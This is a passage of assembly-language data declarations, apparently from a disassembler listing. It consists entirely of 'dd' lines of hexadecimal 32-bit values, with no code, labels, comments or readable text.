		dd 0FF271068h, 0B000D329h, 537E1BEEh, 3236F8h, 0A952207Ch
		dd 825F7F5Dh, 0BA009090h, 6387DE78h, 4E3659h, 667B8C73h
		dd 48E02D12h, 8115C53Eh, 0F4A7F251h, 98B8EDDBh,	31AAC000h
		dd 80C9A46h, 0FB15CA07h, 58A09FECh, 90103963h, 84534854h
		dd 0B5DC8961h, 51982012h, 2257F300h, 0B3183F6Dh, 7C8912CFh
		dd 2A1C0101h, 0F5855228h, 20D1D15Fh, 0BC003580h, 3DDF83BEh
		dd 18630346h, 30263ED2h, 0A6005DBBh, 5056396Dh,	9F4C642h
		dd 0A775228Eh, 0A8C9E700h, 407E3CDFh, 1452B326h, 80875709h
		dd 168ADEB4h, 26430775h, 20C9CC7Ch, 2A4A847Eh, 2100657Eh
		dd 56E92C59h, 0D494Bh, 3E532B80h, 8729A002h, 0EA197807h
		dd 6B608EC0h, 0E09BC1C4h, 0B18F00D0h, 0F2AD8D58h, 7500EAB9h
		dd 605FA219h, 8569B2h, 3244E4B5h, 0DB3D51A5h, 96D33100h
		dd 0EA152158h, 0AB14007Fh, 78205BE9h, 0D81680F4h, 4C07FFF2h
		dd 7280B582h, 358AB9h, 85D56787h, 81EA8D2h, 79D5112h, 0EEA3816h
		dd 0D16081C3h, 0AE921DC6h, 0F043FC00h, 34D2213Fh, 0DC89032Ch
		dd 147E5B3Bh, 77F57801h, 1673B497h, 0A0F8F8h, 1DCFD56Ah
		dd 8E33F380h, 0D01B7E6h, 962ACA1Ch, 93C00F8Fh, 0BF580061h
		dd 6F27B01Fh, 4E5C111Eh, 70A04034h, 91ADA900h, 26F1BAEEh
		dd 0A53C003Dh, 3B87DFC4h, 4B1F37EBh, 0A9A668A6h, 0E9D7A000h
		dd 1C2D2865h, 0C099EE1Ch, 0E4225BECh, 0EF2ED504h, 6B04CCC1h
		dd 4CB25DFFh, 98CFE780h, 0FA7B38B7h, 297F9600h,	37DEF223h
		dd 38A449B3h, 0D77D4301h, 9D6E1AD3h, 6C034C10h,	0C09215C0h
		dd 0BA681340h, 0C81E5894h, 2071C187h, 0B7644597h, 0F90FC902h
		dd 0E8EBD021h, 0DB016B8h, 567D1B3Ah, 0D94C2010h, 0FBA2E202h
		dd 609407C8h, 7EC706E0h, 418C0F02h, 0C280F646h,	0DF05F50Fh
		dd 0ABEDBE03h, 98A0D747h, 743B1A3h, 66AE8A30h, 0B9AC003Fh
		dd 0F6099B55h, 0F046EFh, 92D4AA8Ch, 1F130010h, 8C8F5806h
		dd 3C07E475h, 50604DADh, 45100FD7h, 56778Ah, 0EA5964E2h
		dd 80A8712Bh, 92D56F00h, 12C981E7h, 3F05051Fh, 0BF447E58h
		dd 0FD49FB82h, 1A4287C0h, 5A12C498h, 0EC0080F3h, 58D85FA6h
		dd 0C3390024h, 7CDFFC9h, 7F4C342Eh, 0D28A0028h,	329C7C79h
		dd 0D8DB00CBh, 3A0B7251h, 8B8C277h, 1313B9F6h, 4F028998h
		dd 0E06630EBh, 0A87084h, 93628B9Fh, 0DB6CAF1Ah,	9C37A100h
		dd 7B16F955h, 144B050h,	83D58EE4h, 0E047EC36h, 0FB0041E9h
		dd 0E7ADB690h, 9DF7EBh,	4C6CD273h, 0A44D488h, 0E28B7A05h
		dd 48C8E0C0h, 9B2304E1h, 0C07564F2h, 29D22EF8h,	1600AC71h
		dd 12B03690h, 3B37DDAFh, 0A500F56Eh, 0EF467417h, 5500ACFFh
		dd 0C870A3E5h, 1FA7BFh,	0D03ED824h, 2A570D2Fh, 530E6300h
		dd 4FCA51C6h, 0FB6EEA6h, 52824032h, 0D76C1B20h,	5C00A333h
		dd 92F4E5B2h, 32143Dh, 31BBEA29h, 4EC04A45h, 5C8E1F00h
		dd 1B76F5D1h, 55680015h, 7ACF9DB7h, 0E0008D0Bh,	0EEAC7EA1h
		dd 2C4B118h, 0CE6EBBE4h, 60E8AAB9h, 0D707FF3Eh,	16E66C73h
		dd 26644049h, 0EEFA57h,	69984FA0h, 0E6CA1FFEh, 4A973Ah
		dd 29C91467h, 4D58BEh, 0DDD83E96h, 4BBFB442h, 0ED37A70Bh
		dd 381D015Ah, 28289427h, 607A8900h, 761F8106h, 7F01D0F4h
		dd 262E4B6Bh, 0F7E050A2h, 0DBDA0575h, 0D046E74Ch, 0D40A5368h
		dd 0ED0E5572h, 0DDDC8E0Fh, 0BD42E500h, 1DBCBF57h, 7B0EF606h
		dd 857CEA1Ch, 0C1946EB3h, 0E98566ADh, 0D938D4F3h, 0D6C31400h
		dd 765E7C1Ah, 17BFC84h,	0F8ABB71Ch, 82056755h, 3A466F71h
		dd 0A690A0A8h, 0F8FD1D8Fh, 0C66200C1h, 35637666h, 6CA94B27h
		dd 14A80715h, 8B064D2h,	209A4BACh, 0A68F2200h, 29D82F47h
		dd 0E62D0758h, 4E6623F2h, 78D70A40h, 0A400BC56h, 5717E821h
		dd 0B41C2Bh, 66945058h,	130CA682h, 0E700AF76h, 816DB02Fh
		dd 0DA8CC0h, 4B30F4EEh,	0EBC2B170h, 0ED5253Ah, 605F593Dh
		dd 0D360D762h, 0A3BC0006h, 10E92858h, 0CEF86ABEh, 5966D819h
		dd 6C2CB718h, 45044D03h, 0B878512Ah, 3A99B300h,	1A75DE6Ch
		dd 4A260553h, 4017560Fh, 35511598h, 0D21A97F9h,	2358B9F0h
		dd 0A05D8980h, 3CFA3165h, 1B0150A1h, 60999069h,	0F805D4E6h
		dd 7C089566h, 879831h, 2E174E96h, 8F8593FBh, 7BCAEB1Fh
		dd 5980CD0Ch, 517000A9h, 76B7D06Eh, 2F66F307h, 7121AE08h
		dd 83510E48h, 87C09877h, 0FB0AFCF4h, 0E8DD2851h, 8A3BAC16h
		dd 583695EBh, 8B9C05D0h, 38187C9Ah, 0FDE0FA28h,	0BBCDE0h
		dd 7749B836h, 7EDBCE6Ah, 0FC5C7677h, 74221DE7h,	370CC4Bh
		dd 0E88DF124h, 1F8BA0A1h, 0CFC6687Dh, 30801610h, 3FB13540h
		dd 3272D20Eh, 0CFDC8025h, 3520D9Dh, 21F69E97h, 6AC80AC1h
		dd 7000C6ADh, 78EA1F4Fh, 4B3EEFh, 0AF838DE8h, 6BC355A0h
		dd 7F628800h, 1857AEEDh, 6C28C0E0h, 0AB750347h,	1F6E5200h
		dd 0B441C426h, 5E3800D5h, 9943BADEh, 2707DB84h,	1B58CC12h
		dd 6D2D7A90h, 0EB890ABh, 5CD94A93h, 831AF867h, 10007E97h
		dd 9F49A6ECh, 60BA0590h, 0F502302Fh, 3004827h, 0D7ECDCF7h
		dd 0F178D809h, 8170C3EBh, 0D2F81CD9h, 0A11300DBh, 42140E67h
		dd 3000AC36h, 0AFCD81F6h, 61FE5Bh, 607C7886h, 88967BB6h
		dd 97B38F00h, 0FFAB3FDDh, 7880009Bh, 9A6A45C2h,	0E00696Fh
		dd 77C0C609h, 9161A5h, 90923E86h, 4C264D28h, 14839400h
		dd 58DE1D54h, 0B26500FAh, 0CE6CA95Ah, 6F01BD7Ah, 80DA7C7Dh
		dd 870D318h, 42F057h, 0A16391A7h, 0CEBDDDEFh, 5ADF4E00h
		dd 3C3315F8h, 6980005Eh, 14D189C2h, 50138631h, 9B0FE9CFh
		dd 0DA08A045h, 0ECB8071Ch, 0CEC51CD3h, 80F08061h, 77E8AB5Dh
		dd 0C001AB8h, 651B53F4h, 0E45826Dh, 1283223Dh, 20EBF5E0h
		dd 7B008768h, 4F21B9E9h, 0ECC7C50h, 97190E18h, 0AA810F80h
		dd 7AF81073h, 0E3681400h, 17C33094h, 1DF903BDh,	0CF1B655Bh
		dd 0E953C8A0h, 0F204CDF8h, 67B37208h, 2B621180h, 46F86Dh
		dd 0B987342Ah, 7CC6DB7Bh, 4A3BB807h, 7670B618h,	0A0219Ch
		dd 3687449Fh, 24776526h, 30613100h, 98F65CF3h, 9BDE0ACDh
		dd 4AB8021h, 0C6B10379h, 7D2228B9h, 547E2240h, 8A110C42h
		dd 3F69114Ch, 21C1BE11h, 40A238B8h, 438A2572h, 0A4290838h
		dd 0F9146CF5h, 3CA07128h, 1088F426h, 242F88C0h,	0A00D7B40h
		dd 8BC62214h, 116222BCh, 2EF50939h, 67108812h, 32F58827h
		dd 5761C80h, 0E6803802h, 1A44C092h, 0BE0599DCh,	26953EB5h
		dd 0E8DB1F83h, 10F3257h, 1360602h, 0D42D6ACDh, 2F005B6Fh
		dd 6211A72Eh, 0EEC781F7h, 1C57E8Ah, 25D0DC1Eh, 0E430181Ah
		dd 0B47C1421h, 12BA4E00h, 0DFDE822Bh, 65892C68h, 0BBD500EAh
		dd 0F7162027h, 12B1BA04h, 21804A1Bh, 74DC8CCh, 2668549h
		dd 7DFEB007h, 55EE3458h, 0DB5E7900h, 0E5C2CFF1h, 92F70096h
		dd 0EA7F41B9h, 0A7BC867h, 61D01502h, 4069EE6Bh,	213658h
		dd 357F66ADh, 68C5807Dh, 0C8105000h, 915CCE84h,	0FD9D0051h
		dd 309FD054h, 1D00A1A0h, 0CFF2F597h, 0E919B99h,	0AB2F56EBh
		dd 8E51241h, 35488005h,	0F0677370h, 7210C0B6h, 1FF37865h
		dd 5BDF4800h, 911EC185h, 0F1DD387Ah, 80C3ED00h,	0AA1084Fh
		dd 80F34590h, 22845038h, 73DF49Dh, 4E37606Fh, 0A07406E1h
		dd 603277Ch, 2CB5DBF9h,	94E9A00Fh, 0D80E0079h, 0C7ADE8B8h
		dd 65E64EA2h
		dd 0FE00747Eh, 280BA098h, 6A8A1Eh, 0F92C0D99h, 0D15658E4h
		dd 851F1C00h, 0FF19D232h, 0B1E50064h, 66821161h, 3EF671A4h
		dd 2FEAB500h, 0BDEC97D9h, 27EEB1h, 3B053B8h, 1A68041Dh
		dd 0C3560200h, 39D0F671h, 45AD00A9h, 0CCC039Ah,	2B70991Ch
		dd 50B1D0EDh, 0ED9FC60Fh, 612487E2h, 7DDFE170h,	924200F8h
		dd 0D9052227h, 0D1CF0B4h, 0CE00F768h, 0A3332941h, 0AF57005Ah
		dd 9EC7C353h, 41DEA9Dh,	0DB003C69h, 65A45B07h, 0AAE50101h
		dd 5EEA7BFh, 67EC474Bh,	297580FAh, 0A8006CA5h, 0E1E71153h
		dd 4847C7h, 0E93E49B6h,	0DA780C27h, 0D6DBB500h,	38672FACh
		dd 34690176h, 9EDBFB0h,	1ADDE468h, 53C33200h, 0EE07E30h
		dd 4C6F0025h, 0E6FBA092h, 5D0090FDh, 0A5604926h, 0FE20FCFh
		dd 0B56222A3h, 3085C6C0h, 0F1007908h, 49E56EDh,	0EA7C2A47h
		dd 3F6701E7h, 3AD7F325h, 5E42609Dh, 6A6D1700h, 9C4787D1h
		dd 6F5C09ACh, 0EE00C505h, 2D7609B7h, 7C9F6600h,	0FEE4CF04h
		dd 87412447h, 43E60018h, 2B1CB0F8h, 0D0FB2C00h,	19C03AC2h
		dd 6E8D3ABDh, 0A4B13B04h, 0C80083DBh, 0E10DA981h, 0C01080DFh
		dd 0EDAE869Ch, 1BCC0034h, 59036488h, 0A124BF8Bh, 6600CF30h
		dd 246EB444h, 0A5B53F15h, 59E5DD00h, 8DD7F7C7h,	9631EA00h
		dd 0FC057767h, 57B100BCh, 0B65D4A5Bh, 0FF005286h, 0E62239CCh
		dd 0E7E890Eh, 3FC65C28h, 0DA27C7E0h, 0AE00E9D3h, 20225EF1h
		dd 48C386Bh, 0A2F9CDACh, 0FF8CC046h, 2D240B1Bh,	80000C6Eh
		dd 0DC337845h, 0D33800FEh, 0CB57F78Dh, 1E00C9CEh, 6EF0BF87h
		dd 3493A8Fh, 24D350A9h,	99B056DBh, 784C6FAAh, 85D00057h
		dd 0F9C393CEh, 0B5F60020h, 264A8F95h, 0B30135EBh, 151A1D60h
		dd 0C0E4ECC9h, 0FF2D005Fh, 21200137h, 4A1C0F53h, 9340B5BCh
		dd 65285879h, 6E031216h, 6A1C01C2h, 1826F83Ch, 2E8700C4h
		dd 201F4D2Bh, 0AA7878D0h, 383B2C00h, 946A399h, 2DE40027h
		dd 0F02A84AFh, 0F20A0CACh, 0D8E88C2Bh, 0B648D00Ch, 30DC0083h
		dd 50743829h, 527D3A47h, 193D5A09h, 1C4001BFh, 63FC1346h
		dd 745007Ah, 362B3465h,	4B7ADFEFh, 254D0600h, 24E78530h
		dd 0E9A20063h, 0D48BE510h, 26983CB1h, 73DD9500h, 0D3D26618h
		dd 0E71007ABh, 0B0DF30BDh, 7BA8A5E0h, 0F3529300h, 23478638h
		dd 4D4600B6h, 0CB18B0A4h, 6E2602DAh, 4500D2EEh,	56BA9C0h
		dd 0D3143CBEh, 0BC63DF80h, 9EDAB954h, 1A3DF0B0h, 55DB83E6h
		dd 0D8E1652Ch, 61E285h,	0CA7F54A9h, 2F25564Ch, 0E3260B00h
		dd 0DD8C9E6Fh, 6540079Fh, 8076BF5Fh, 0C427D688h, 0B300C3F2h
		dd 0CCA89337h, 791B45F9h, 0F12D00AEh, 58ECDC0Eh, 2E0061A9h
		dd 32D71574h, 0D47D9h, 9210FC82h, 6A6B1B2h, 0E80A2900h
		dd 0F3CB2B45h, 411B3AD5h, 0C498EA00h, 0D7C57D80h, 148C7000h
		dd 107C3478h, 0F5333FABh, 0C0A68A96h, 0F3B5F231h, 92838903h
		dd 0DADA9C70h, 9EE88075h, 74D4F1Bh, 0B829A652h,	0D2CCF0A4h
		dd 0D30F90ECh, 6061F56Fh, 0DE5270A9h, 0FA9A12C0h, 0E9FC0E86h
		dd 0ECF42223h, 518A5C0h, 0B5052B7Ch, 960FB7B8h,	4035608Ch
		dd 7B00A05Ah, 240B41FFh, 600782C4h, 0EDBB1845h,	0F4007114h
		dd 3AB3086h, 34554Bh, 0AE64AA90h, 0DBA3F1DEh, 0A494C63h
		dd 45290FBh, 3E300087h,	0EAEE68BEh, 5E003279h, 0E4742254h
		dd 0D83D26h, 69FF5A11h,	0E4EC8BFh, 38D73500h, 31F75CC1h
		dd 0E9100367h, 0EAA88DD0h, 0B1550BA0h, 8601FFEEh, 4F73943h
		dd 0A8209D20h, 56709Fh,	0CB64F488h, 0FE921C07h,	0A439B000h
		dd 94912870h, 8AFCF9h, 2B08CCAEh, 0B5AB482Eh, 0DBD89E00h
		dd 0A74203CAh, 1E3DE8EBh, 80362429h, 4C5DFA5Fh,	82008011h
		dd 1DC302Bh, 431849h, 0FBB5D33Eh, 0DE3B146Fh, 292F5E01h
		dd 5789AA91h, 510424h, 668B4052h, 0D6C75C93h, 64F63303h
		dd 0E0C5B0D0h, 166F7C12h, 6C947h, 22A7A090h, 8D019524h
		dd 722A5790h, 4C7127FEh, 3D5EAF20h, 82CC2E21h, 0F8BDCC1Dh
		dd 7D3DA007h, 0AA0D80B4h, 0F5071BFEh, 36EF09F0h, 351867B0h
		dd 372D1C34h, 89414F17h, 0EA9FCD60h, 0ACA0D1C7h, 0CF17FB9Ah
		dd 0C040E0DDh, 42B41F48h, 0D4B8243Eh, 38790044h, 833F9687h
		dd 0DFAF6216h, 8AB14400h, 0E19E36h, 5F55087Eh, 5CB86AEh
		dd 6FF4E700h, 0AFD52D83h, 345407CCh, 870B5A1Ch,	0C995308Eh
		dd 0A075352h, 6AEFDB1h,	2E289680h, 0BE704Ah, 24E9CA2Ch
		dd 0D9BAC7E2h, 588E5D13h, 0C2AED000h, 80D70497h, 29F21A03h
		dd 40912507h, 1B84BA98h, 4CB0E7C0h, 245002Ah, 6610E19Ch
		dd 4A3ECF3Eh, 639380DAh, 90B6D95Ch, 83E40085h, 81B53265h
		dd 4450C466h, 4D011AF4h, 98202511h, 845063CAh, 39CB0605h
		dd 0C4875085h, 73937F23h, 2102B35Bh, 6E95F2D5h,	3BA48076h
		dd 0F5F413h, 366F749Ah,	3CF6DF11h, 7D09B6B0h, 80ABA9D0h
		dd 0BD705F6Ch, 0F9A439B2h, 0E1DB3E8Bh, 78861890h, 87305000h
		dd 354481A0h, 6F890717h, 705CCABBh, 953CB2Ch, 8B1EAE1Ch
		dd 0CCA94740h, 250C041h, 5D6D6A03h, 0F480AAC8h,	0F48A3519h
		dd 2F7C2800h, 8868B3FFh, 56A300C4h, 0B84FA0B5h,	0F3004422h
		dd 0FD4EC3D0h, 48BE3898h, 55004004h, 69339DD2h,	4A00F56Bh
		dd 0C143DB0Fh, 0BD97D1h, 0DF5E0E74h, 3037D8EBh,	0CC3B4801h
		dd 2F5916F3h, 75B0FCh, 0CD699FACh, 0A9DF8E70h, 5A800478h
		dd 0BA1DF2EEh, 0E460454h, 0C06EC6D2h, 3ECB0F8Ch, 0DC8A0602h
		dd 40F0F10Ah, 707E178h,	99AA3CDEh, 953B8085h, 4400CE83h
		dd 48EC28DCh, 5A6D2Bh, 57FF6C7Eh, 4512D0Fh, 0E924CB00h
		dd 68C58AC6h, 5F1302BBh, 9DEE7877h, 0B35204C0h,	0D450EF00h
		dd 15972725h, 0DE5807DCh, 0F324F9FEh, 55981939h, 0BD00D246h
		dd 0F415D643h, 98698770h, 92B60F2Ch, 9EC0F91Bh,	1729F833h
		dd 0CAEBD000h, 93128DADh, 0D44043Bh, 0C7754F28h, 1D090071h
		dd 0F6000302h, 8A2D23B7h, 0E6427B3h, 13B51115h,	0AC00F4ABh
		dd 0AC263CB9h, 1B000CFCh, 695E034Eh, 0C99615h, 4D29175Ch
		dd 325DB9CDh, 3311A500h, 0EE43521Dh, 1EB024EFh,	40D31FAFh
		dd 73C765BFh, 4903DF3Fh, 137582DEh, 33318907h, 0A906CE8h
		dd 49F8750h, 3C0E0294h,	4CE81B42h, 52E5A9Dh, 0FB8238DEh
		dd 81EAA4D5h, 8422CDB8h, 0A1CCC0C6h, 50D21E12h,	42F837Dh
		dd 0E8002352h, 4772EFC5h, 12049EBh, 8B7BF6C0h, 609D5BE7h
		dd 2258465Ch, 0A818924Ch, 0BECF380h, 7B1F07DBh,	0BCE40080h
		dd 0D6026093h, 1525F570h, 6510C86Eh, 0BA720738h, 20DA32F6h
		dd 9B79E437h, 0B0214B60h, 24297111h, 8081D7h, 0E5BE0EDDh
		dd 0B702CE66h, 90861E14h, 8F40C142h, 4CFD77F0h,	7D014C30h
		dd 6A6D54AAh, 0E7F2C85Bh, 0F631D100h, 79D5326Bh, 0B62B00E0h
		dd 9796547Fh, 0F80086DCh, 0B7FE9E49h, 1B68F4C2h, 0D00556BDh
		dd 151A4FF0h, 0B900F4BBh, 1CA691A9h, 3D3AFEDCh,	0D2A4CA0Eh
		dd 609D04BCh, 0AA30D1BAh, 0CF7FE8B1h, 0C9879E4h, 0C9FC2A01h
		dd 88F5231Eh, 12F8C8F9h, 1F3D7013h, 8091BE47h, 4434FD89h
		dd 9A00D8CCh, 0F69867F0h, 0BCF5B9h, 0E0C3E79Ch,	13273728h
		dd 475A431Bh, 228BA1A8h, 83FBD8h, 0A7DAC6DDh, 0E4BED9EAh
		dd 0ABF4FE00h, 0A5062711h, 57B500E0h, 25974B4Ah, 4C4CC36Ah
		dd 0EE92006Ch, 14620267h, 0A712Dh, 16C4ADDh, 8332075Bh
		dd 6410EB00h, 771EBD28h, 0BA5102B6h, 0E7ADED15h, 0F4F05849h
		dd 0EC4C2CA3h, 86DF1293h
		dd 6941B401h, 0D874ADAFh, 5B2213DCh, 6618006Dh,	14F70E8Bh
		dd 8FD79202h, 665DD265h, 0D4CF00CCh, 4DC42571h,	0DE0F749Fh
		dd 0E07ADD13h, 0F5E0B1B3h, 24A507B2h, 50C62A47h, 79F92215h
		dd 0FF1AAF16h, 806BD00Eh, 9B1BD75h, 9D2D2448h, 0CD60017Ch
		dd 209ABB91h, 0FE000C64h, 0E89C6180h, 0E4ED2CAFh, 9CAEE35h
		dd 0A0EE82D7h, 0D48B8180h, 0C200CEB5h, 4E3ABB6h, 784C1E9h
		dd 1E7DACD5h, 57C3071h,	6858A32Dh, 3C452692h, 3FA8A403h
		dd 989088C4h, 88C20020h, 7E3476C5h, 0AC0011EFh,	4D01F12Eh
		dd 6B5763h, 0D01415BDh,	0E7CB2D08h, 0CEF9A503h,	943DB921h
		dd 0A3A99CC0h, 91DFA7Eh, 0E18FD161h, 4D0158C5h,	0C51599A0h
		dd 0F1731080h, 79ED2987h, 60104300h, 14812A58h,	786CF176h
		dd 0FA0EB2Ch, 5720B646h, 0E212E9EFh, 2816E100h,	446CDC62h
		dd 0FA5301F1h, 7026D1Ch, 0B1A92059h, 4E2B4500h,	0E1A82ACAh
		dd 0F67B0680h, 0C8BE196Ch, 0E335C800h, 249BB317h, 0CA1500EAh
		dd 50B56D04h, 7D004211h, 0DFC4BFB6h, 8F87BCh, 0F3EE0E62h
		dd 0A87E5CE3h, 167F0703h, 0C08A55AFh, 0E6644D6h, 213191CFh
		dd 107257EEh, 251E9BBCh, 0A022C009h, 0C4C96430h, 8D37A900h
		dd 0C2D6DC45h, 3D9300E2h, 84D035FDh, 9002E25h, 0F25C8650h
		dd 522158h, 96AC767Fh, 9DDA8004h, 323C4498h, 1DBFC6h, 59D8ED21h
		dd 5ACA7ECh, 0F0FA393Ah, 0C280008Bh, 42657427h,	0FFB10405h
		dd 0A8200E34h, 1C2E0Ch,	0A070AFF2h, 834D9A2Fh, 6BB8C060h
		dd 222FBB3h, 0C258F8D7h, 0F440CFF1h, 830EE696h,	0A1806019h
		dd 0B38C5AADh, 9B3CF8h,	0B75189B5h, 0D3E84730h,	0BEA19600h
		dd 45651042h, 0D458C1DBh, 30D7A87Ah, 0C727144h,	86419400h
		dd 671ADDEEh, 0F10B1630h, 6CA40098h, 137FD4ECh,	2533581Eh
		dd 7CA4B100h, 1DB79E3h,	0E8E557C7h, 80A6CB8Dh, 41166230h
		dd 9CE32BD0h, 0BD48001Ch, 397127BBh, 0A695C000h, 94EF66CDh
		dd 2B5604B6h, 0C067998Eh, 523240DCh, 84C2612Ch,	7200231Dh
		dd 3D7150A4h, 0AE85013Ah, 665935E7h, 5AE2006h, 78074000h
		dd 0BF6CC42Eh, 60B00079h, 8F9AEE77h, 200C0DCh, 0B4564192h
		dd 4CC40B1Bh, 0A2048828h, 0DC1DA309h, 303FE6DCh, 0A0E78301h
		dd 0B8D3FDB3h, 2EAF10BDh, 4F42C5Eh, 80BA534Eh, 16089588h
		dd 9821FB2Ch, 75876602h, 0D07837h, 98B704EAh, 5CFC3C23h
		dd 0E1CD9205h, 84D00EC8h, 1E7A8h, 4EDAB63Ah, 6DA6DE10h
		dd 0F7C58000h, 363B1E49h, 9C4F00B9h, 23A29798h,	0B3038446h
		dd 8AD0FA2Bh, 44DE900Eh, 0CCE009h, 0F28B9D28h, 9FE89055h
		dd 9C66303Dh, 734EA07Bh, 7C9BC04Ah, 0B43C33h, 55FA1A8Ch
		dd 0E8ACDB78h, 0A4C6E61Fh, 67F43787h, 3C38C029h, 0D8D7004Fh
		dd 704C4327h, 9D723045h, 2034501Dh, 12803880h, 0EF985DDh
		dd 70F6FA1Ch, 2AF87120h, 8400AB93h, 240FCFF0h, 4D0D95D7h
		dd 0B00034E4h, 0EC918188h, 0F0C00E86h, 0E00C9B1Bh, 0DFAF00DEh
		dd 5AB5D74Ch, 1501BBA3h, 1CBC3633h, 4C34E385h, 90DAFEFCh
		dd 7374E60h, 60F817F0h,	92B3B1Bh, 0EAE64200h, 1D4BC850h
		dd 2A6D01CCh, 1FF46BE9h, 307EC31h, 24880400h, 0C44BBBDCh
		dd 0B5CF1389h, 5EF8C153h, 0ECDFE0FEh, 0A6ED6539h, 2518173Eh
		dd 2EE047Ch, 0F2CCA78Bh, 0C5E0A146h, 6C02DEBCh,	99DB55BDh
		dd 0E03C6360h, 40BB1B0Bh, 0D3005123h, 6F75ED82h, 0A9D99Ch
		dd 7C0C3533h, 0C840A173h, 0DE0B2903h, 0E89470ACh, 0A07805BBh
		dd 0FE8B983h, 6BDDE322h, 2980D96Fh, 4C892520h, 7E1E3C98h
		dd 0E0602A97h, 14BCE0A0h, 8CA85CB9h, 48A3B681h,	878A3055h
		dd 5407CE2Eh, 3EF3BF50h, 5D859AA2h, 0E1879F4Fh,	646AAA9Ch
		dd 6F018D01h, 0AF507706h, 33ECDC8h, 8F0AAC13h, 75B86E9Bh
		dd 0B11FBC3Bh, 7216FF7Dh, 655E9400h, 7B6C99AEh,	91780618h
		dd 11E6DAA2h, 0E74B2A06h, 30342D70h, 734003EEh,	8D00E911h
		dd 0CE6D195h, 9439A6h, 7167ACA5h, 0FC1F35Ah, 3BE470FFh
		dd 3CCA1A02h, 60E7CD55h, 9C6B4C69h, 0ACB50078h,	343DB29Ch
		dd 0AA80100h, 8BE80630h, 0D017009Bh, 8C7C3726h,	0A3001CA5h
		dd 583CA780h, 97C913h, 0AAF7EADAh, 2583CD69h, 0D2E8A900h
		dd 43CBA505h, 0E58C00C1h, 940A1E8Dh, 4D0011EEh,	7CA15B38h
		dd 405D0Bh, 0C027D9DFh,	0EC573F85h, 17D0610Fh, 5C02DCB5h
		dd 60774BEAh, 83E700h, 169BBDB7h, 334455E5h, 44DD1D2Eh
		dd 6A1CF200h, 16D648Eh,	94BC5738h, 301F291Eh, 5160D6D0h
		dd 0E50EF429h, 0B08103E7h, 0D8BEB6FFh, 55620388h, 4609400h
		dd 0BD6E0CC1h, 0EF7226A0h, 0D42C0Ch, 9C1C622Ah,	2F4E57DAh
		dd 525EC801h, 889D546h,	0E0406C7Ch, 53E8D23Bh, 9E3CDE00h
		dd 93EB5FE7h, 0B8E0063h, 0D1FEB226h, 0A70E69C5h, 208172Ah
		dd 7F84C829h, 0A83E3AE0h, 0BEF83Ch, 0BAC16A55h,	24FD2A3h
		dd 6432302Bh, 80C026D1h, 2907F493h, 80DB8F57h, 0F868F6A0h
		dd 0C1220030h, 516D4BC0h, 0CA00D5B9h, 0E50FE1A6h, 3ACF396h
		dd 0E415F931h, 70F75F0Bh, 2B86A33Dh, 605EC612h,	808B644Fh
		dd 0B2AF6B67h, 5AFBF0C8h, 0B76C0044h, 6D88296h,	9C68940Fh
		dd 0C118B8D2h, 0ACAB17EDh, 58430039h, 974A512Fh, 0D3CDD05h
		dd 28C05310h, 0E0A52E89h, 166400F6h, 584B2DB2h,	6100342Ch
		dd 72F07E5Fh, 3DBEA2DFh, 0D001F5Dh, 0EDE12318h,	0ED90FA38h
		dd 54B7C400h, 56B0CE29h, 67DC019Ch, 30959019h, 1BA1EC11h
		dd 0AB4DB21Fh, 3A21F14h, 99D7DDFBh, 0F798DBC4h,	0B47C81BFh
		dd 0B0F46D0Bh, 23F30C0Ch, 0A780A153h, 5BC38A00h, 982BF463h
		dd 6F50C075h, 541C0F56h, 1D4D100h, 8BA29D47h, 0A7FB00CBh
		dd 87404892h, 50006357h, 67CC74C5h, 7C229Fh, 4E66E42Bh
		dd 9225E91Fh, 4BEC00F9h, 0A57700CBh, 0E33F61E0h, 0BF00396Fh
		dd 0CF0A9CFBh, 7DD2909Dh, 45473092h, 35FEBE98h,	953E0407h
		dd 0CB50641Ah, 0B5F6DFh, 485C152Eh, 0CED4631Dh,	7E9C2B00h
		dd 4F3723ADh, 0D8C50036h, 0B1F0C5Ch, 4B7DD3A8h,	850E140Fh
		dd 864420E9h, 0E0DAF0C4h, 83810009h, 4E844D46h,	1E28E045h
		dd 0D500D47Ah, 475E95A0h, 12666Eh, 0A5FD717Ch, 0D28448EEh
		dd 0E31F8C01h, 13300704h, 30DCC70h, 0FC775FDFh,	0FFC05957h
		dd 8F0735F9h, 7CC1BB1Fh, 0A1533E0h, 0BF231E76h,	13390088h
		dd 2B4BDF59h, 5DB0F200h, 0C151D1D6h, 90787870h,	9E7D10h
		dd 80EBDF20h, 0BD43D7D9h, 0B2640800h, 6F42012Eh, 0D48C00F7h
		dd 902154C8h, 0DD0067DBh, 77936CBEh, 66A889h, 0FD607405h
		dd 0A94B28FEh, 0F94D6F00h, 0C68565B8h, 0B6E602F5h, 512372BDh
		dd 0E05FFF80h, 0D04AA87h, 64664AAFh, 0CE083DC0h, 0F5C700FFh
		dd 0DCC4C158h, 4BB0DBB0h, 0FD058900h, 0B6F64DF2h, 357FA3Bh
		dd 0C9DD3709h, 10003CECh, 0FA7C85DBh, 97F8D7h, 0F05DF977h
		dd 9DB3089Bh, 0D380E400h, 0AFF450FBh, 7C90162h,	0FCF60CD8h
		dd 4512095h, 0EDAEF100h, 96CBBA74h, 0D1690033h,	35B7C0DFh
		dd 540078FAh, 6B25D2F3h, 0E7EEA9h, 0FF4CC6BAh, 724EB3B7h
		dd 7DC3E00h, 1302390Dh,	0B5C30074h, 0EED11D1Ah,	0C9001C4Bh
		dd 57809531h, 480F7397h, 0AF079E63h, 0E0611A25h, 2E72AD8h
		dd 8B007877h, 9F067CB0h, 1555C1Eh, 470A6B3Dh, 80FEEC46h
		dd 0D2BB32D8h, 7F92615Bh, 162E0E17h, 3BE09901h,	6DC9FB30h
		dd 8D87CA00h, 27B4952Fh, 1FC71CA3h, 5D9C803Dh, 104F5224h
		dd 0C3E498C0h
		dd 0A0686DBFh, 4671DCDCh, 96920079h, 0D7FBD917h, 0B89F1F8Fh
		dd 51040EAh, 76F078E3h,	80F85200h, 829355B5h, 859817h
		dd 0E2AD23B3h, 0C53C0CDDh, 0F152FE00h, 321529A5h, 0DA9820h
		dd 0B504BADFh, 0AB19B1F8h, 5ECAFA00h, 2F3F199h,	3A37041h
		dd 0F94AE583h, 76B01768h, 57FEB85h, 79906302h, 0E0592127h
		dd 945045h, 7296E0B2h, 1F0A403h, 0B671A271h, 3A36A000h
		dd 29D1877h, 323D4816h,	0C700B33Bh, 0AEA19E90h,	0F02D0AB8h
		dd 615E99h, 73BABB9Dh, 4500CF0Dh, 0AB29FC1Dh, 0D1F057h
		dd 0B766160Ch, 0BC4D85DCh, 581C911Eh, 5AE00440h, 163ADDEh
